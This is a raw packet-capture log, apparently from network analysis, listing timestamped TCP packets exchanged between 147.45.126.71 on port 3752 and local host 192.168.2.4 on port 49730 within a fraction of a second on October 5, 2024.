Oct 5, 2024 14:33:08.423094034 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.423127890 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.423182011 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.430650949 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.430733919 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.430768013 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.430794001 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.431020975 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.431054115 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.431075096 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.431090117 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.431128025 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.431145906 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.431555986 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.431608915 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.431611061 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.431644917 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.431678057 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.431699991 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.431713104 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.431762934 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.432315111 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.432349920 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.432382107 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.432400942 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.432416916 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.432449102 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.432470083 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.432482958 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.432535887 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.433051109 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.433087111 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.433145046 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.433177948 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.433212996 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.433264971 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.448375940 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.448533058 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.448565006 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.448595047 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.448623896 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.448658943 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.448682070 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.448698044 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.448754072 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.448950052 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.448985100 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.449033976 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.449218035 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.449351072 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.449385881 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.449408054 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.449651957 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.449687004 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.449711084 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.449873924 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.449908972 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.449932098 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.460592985 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.460659027 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.460714102 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.460751057 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.460900068 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.461078882 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.461112022 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.461160898 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.461338997 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.461374044 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.461421967 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.471726894 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.471844912 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.471874952 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.471939087 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.471986055 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.472038031 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.472039938 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.472075939 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.472110033 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.472134113 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.472590923 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.472626925 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.472651958 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.472899914 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.472934008 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.472961903 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.472966909 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.473002911 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.473027945 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.473036051 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.473072052 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.473088026 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.473825932 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.473862886 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.473897934 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.473913908 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.473934889 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.473942995 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.473964930 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.474029064 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.474273920 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.474308014 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.474378109 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.485460043 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.485569000 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.485603094 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.485632896 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.485819101 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.485852957 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.485872984 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.485888004 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.485923052 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.485934973 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.486331940 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.486388922 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.486466885 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.486537933 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.486572027 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.486588001 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.486605883 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.486641884 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.486654997 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.487159967 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.487194061 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.487216949 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.487229109 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.487262964 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.487276077 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.487298012 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.487332106 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.487344980 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.488049030 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.488084078 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.488105059 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.488120079 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.488167048 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.500257015 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.500307083 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.500365973 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.500391006 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.500400066 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.500437021 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.500454903 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.500474930 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.500523090 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.500838995 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.500973940 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.501008987 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.501029968 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.501044989 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.501079082 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.501092911 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.501116991 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.501163960 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.501669884 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.501703978 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.501766920 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.505835056 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.505906105 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.505942106 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.505960941 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.505978107 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.506014109 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.506025076 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.506048918 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.506088972 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.506104946 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.506216049 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.506268978 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.509553909 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.509666920 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.509722948 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.509747028 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.509783983 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.509819031 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.509839058 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.509852886 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.509887934 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.509902000 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.509923935 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.509973049 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.518959999 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.518990993 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.519026041 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.519047022 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.519107103 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.519141912 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.519165039 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.519263983 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.519299984 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.519320965 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.519839048 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.519872904 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.519902945 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.519910097 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.519944906 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.519961119 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.519983053 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.520030022 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.520425081 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.520459890 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.520530939 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.520531893 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.520593882 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.520629883 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.520651102 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.520663977 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.520714998 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.521085024 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.521117926 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.521164894 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.521249056 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.521284103 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.521318913 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.521331072 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.534894943 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.534982920 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.534997940 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.535022974 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.535196066 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.535216093 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.535250902 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.535284042 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.535301924 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.535320044 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.535367012 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.535732985 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.535823107 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.535938978 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.535948038 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.535984993 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.536039114 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.536247015 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.536282063 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.536317110 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.536345005 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.536345005 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.536398888 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.546842098 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.546950102 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.546979904 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.547009945 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.547120094 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.547153950 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.547188044 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.547224998 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.547282934 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.547282934 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.547684908 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.547745943 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.558542013 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.558698893 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.558732033 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.558759928 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.558938980 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.558989048 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.559012890 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.559024096 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.559058905 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.559078932 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.563184023 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.563218117 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.563246965 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.563252926 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.563288927 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.563304901 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.563323021 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.563355923 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.563368082 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.563407898 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.563441992 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.563456059 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.563474894 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.563508034 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.563519001 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.563544035 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.563577890 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.563591957 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.563615084 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.563673019 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.571832895 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.571935892 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.571969986 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.571999073 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.572220087 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.572252035 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.572274923 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.572288036 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.572323084 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.572338104 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.572762966 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.572798967 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.572823048 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.572942019 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.572976112 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.573003054 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.573010921 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.573048115 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.573061943 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.573501110 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.573534966 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.573559046 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.573568106 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.573604107 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.573621035 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.573637962 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.573671103 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.573685884 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.573709011 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.573755980 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.574338913 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.574371099 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.574404001 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.574419975 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.586383104 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.586416960 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.586432934 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.586493015 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.586663961 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.586675882 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.586690903 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.586707115 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.586730003 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.586777925 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.586816072 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:08.587176085 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:08.587285042 CEST	3752	49730	147.45.126.71	192.168.2.4
